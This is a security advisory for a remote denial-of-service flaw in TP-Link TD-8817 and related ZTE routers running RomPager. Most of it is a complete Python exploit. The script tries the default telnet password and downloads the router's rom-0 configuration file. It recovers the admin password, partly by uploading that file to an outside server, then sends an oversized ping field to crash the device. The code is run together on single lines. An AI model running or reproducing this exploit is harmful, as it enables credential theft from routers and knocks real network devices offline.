Affected Systems:
TP-LINK TD-8817 3.11.2.175 _ TC3086
Description:
--------------------------------------------------------------------------------
Bugtraq id: 68024
TP-Link is a well-known network and communication equipment supplier.
TP-Link TD-W8901G, TD-W8101G, TD-8840G, TD-8817 firmware version 3.11.2.175 _ TC3086, T14.F7 _ 5.0 Remote Denial of Service Vulnerability, attackers can exploit this vulnerability to cause the affected device to crash.
<* Source: Osanda Malith
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
import os import re import sys import time import urllib import base64 import httplib import urllib2 import requests import optparse import telnetlib import subprocess import collections import unicodedata class BitReader: def __init__(self, bytes): self._bits = collections.deque() for byte in bytes: byte = ord(byte) for n in xrange(8): self._bits.append(bool((byte >> (7-n)) & 1)) def getBit(self): return self._bits.popleft() def getBits(self, num): res = 0 for i in xrange(num): res += self.getBit() << num-1-i return res def getByte(self): return self.getBits(8) def __len__(self): return len(self._bits) class RingList: def __init__(self, length): self.__data__ = collections.deque() self.__full__ = False self.__max__ = length def append(self, x): if self.__full__: self.__data__.popleft() self.__data__.append(x) if self.size() == self.__max__: self.__full__ = True def get(self): return self.__data__ def size(self): return len(self.__data__) def maxsize(self): return self.__max__ def __getitem__(self, n): if n >= self.size(): return None return self.__data__[n] def filter_non_printable(str): return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])def banner(): return ''' \t\t _/_/_/ _/_/_/ \t\t _/ _/ _/_/ _/ \t\t _/ _/ _/ _/ _/_/ \t\t _/ _/ _/ _/ _/ \t\t_/_/_/ _/_/ _/_/_/ ''' def dos(host, password): while (1): url = 'http://' +host+ '/Forms/tools_test_1' parameters = { 'Test_PVC' : 'PVC0', 'PingIPAddr' : '\101'*2000, 'pingflag' : '1', 'trace_open_flag' : '0', 'InfoDisplay' : '+-+Info+-%0D%0A' } params = urllib.urlencode(parameters) req = urllib2.Request(url, params) base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '') req.add_header("Authorization", "Basic %s" %base64string) req.add_header("Content-type", "application/x-www-form-urlencoded") req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm") try: print '[~] Sending Payload' response = urllib2.urlopen(req, timeout=1) sys.exit(0) except: flag = checkHost(host) if flag == 0: print '[+] The host is still up and running' else: print '[~] Success! The host is down' sys.exit(0) break def checkHost(host): if sys.platform == 'win32': c = "ping -n 2 " + host else: c = "ping -c 2 " + host try: x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) time.sleep(1) return x except: pass def checkServer(host): connexion = httplib.HTTPConnection(host) connexion.request("GET", "/status.html") response = connexion.getresponse() server = response.getheader("server") connexion.close() time.sleep(2) if server == 'RomPager/4.07 UPnP/1.0': return 0 else: return 1 def checkPassword(host): print '[+] Checking for default password' defaultpass = 'admin' tn = telnetlib.Telnet(host, 23, 4) tn.read_until("Password: ") tn.write(defaultpass + '\n') time.sleep(2) banner = tn.read_eager() banner = regex(len(defaultpass)*r'.'+'\w+' , banner) tn.write("exit\n") tn.close() time.sleep(4) if banner == 'Copyright': print '[+] Default password is being used' dos(host, defaultpass) else: print '[!] Default Password is not being used' while True: msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower() try: if msg[0] == 'y': password = decodePasswordLocal(host) print '[*] Router password is: ' +password dos(host, password) break if msg[0] == 'n': password = decodePasswordRemote(host) print '[*] Router password is: ' +password dos(host, password) break else: print '[!] Enter a valid choice' except Exception, e: print e continue def decodePasswordRemote(host): fname = 'rom-0' if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve ("http://"+host+"/rom-0", fname) # If this URL goes down you might have to find one and change this function. # You can also use the local decoder. It might have few errors in getting output. url = 'http://198.61.167.113/zynos/decoded.php' # Target URL files = {'uploadedfile': open('rom-0', 'rb') } # The rom-0 file we wanna upload data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'} # Additional Parameters we need to include headers = { 'User-agent' : 'Python Demo Agent v1' } # Any additional Headers you want to send or include res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False ) res1 =res.content p = re.search('rows=10>(.*)', res1) if p: passwd = found = p.group(1) else: password = 'NotFound' return passwd def decodePasswordLocal(host): # Sometimes this might output a wrong password while finding the exact string. # print the result as mentioned below and manually find out fname = 'rom-0' if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve ("http://"+host+"/rom-0", fname) fpos=8568 fend=8788 fhandle=file('rom-0') fhandle.seek(fpos) chunk="*" amount=221 while fpos < fend: if fend-fpos < amount: amount = amount data = fhandle.read(amount) fpos += len(data) reader = BitReader(data) result = '' window = RingList(2048) while True: bit = reader.getBit() if not bit: char = reader.getByte() result += chr(char) window.append(char) else: bit = reader.getBit() if bit: offset = reader.getBits(7) if offset == 0: break else: offset = reader.getBits(11) lenField = reader.getBits(2) if lenField < 3: lenght = lenField + 2 else: lenField <<= 2 lenField += reader.getBits(2) if lenField < 15: lenght = (lenField & 0x0f) + 5 else: lenCounter = 0 lenField = reader.getBits(4) while lenField == 15: lenField = reader.getBits(4) lenCounter += 1 lenght = 15*lenCounter + 8 + lenField for i in xrange(lenght): char = window[-offset] result += chr(char) window.append(char) result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore') # In case the password you see is wrong while filtering, manually print it from here and findout. #print result if 'TP-LINK' in result: result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK'; result = result.replace("TP-LINK", "") result = result[1:] if 'ZTE' in result: result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE'; result = result.replace("ZTE", "") result = result[1:] if 'tc160' in result: result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160'; result = result.replace("tc160", "") result = result[1:] return result def regex(path, text): match = re.search(path, text) if match: return match.group() else: return None def main(): if sys.platform == 'win32': os.system('cls') else: os.system('clear') try: print banner() print ''' |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n [*] Author: Osanda Malith Jayathissa [*] Follow @OsandaMalith [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. [!] Author takes no responsibility for any kind of damage you cause. ''' parser = optparse.OptionParser("usage: %prog -i <IP Address> ") parser.add_option('-i', dest='host', type='string', help='Specify the IP to attack') (options, args) = parser.parse_args() if options.host is None: parser.print_help() exit(-1) host = options.host x = checkHost(host) if x == 0: print '[+] The host is up and running' server = checkServer(host) if server == 0: checkPassword(host) else: print ('[!] Sorry the router is not running RomPager') else: print '[!] The host is not up and running' sys.exit(0) except KeyboardInterrupt: print '[!] Ctrl + C detected\n[!] Exiting' sys.exit(0) except EOFError: print '[!] Ctrl + D detected\n[!] Exiting' sys.exit(0) if __name__ == "__main__": main() #EOF
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
TP-LINK
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.tp-link.com/lk/products/details? Model = TD-8817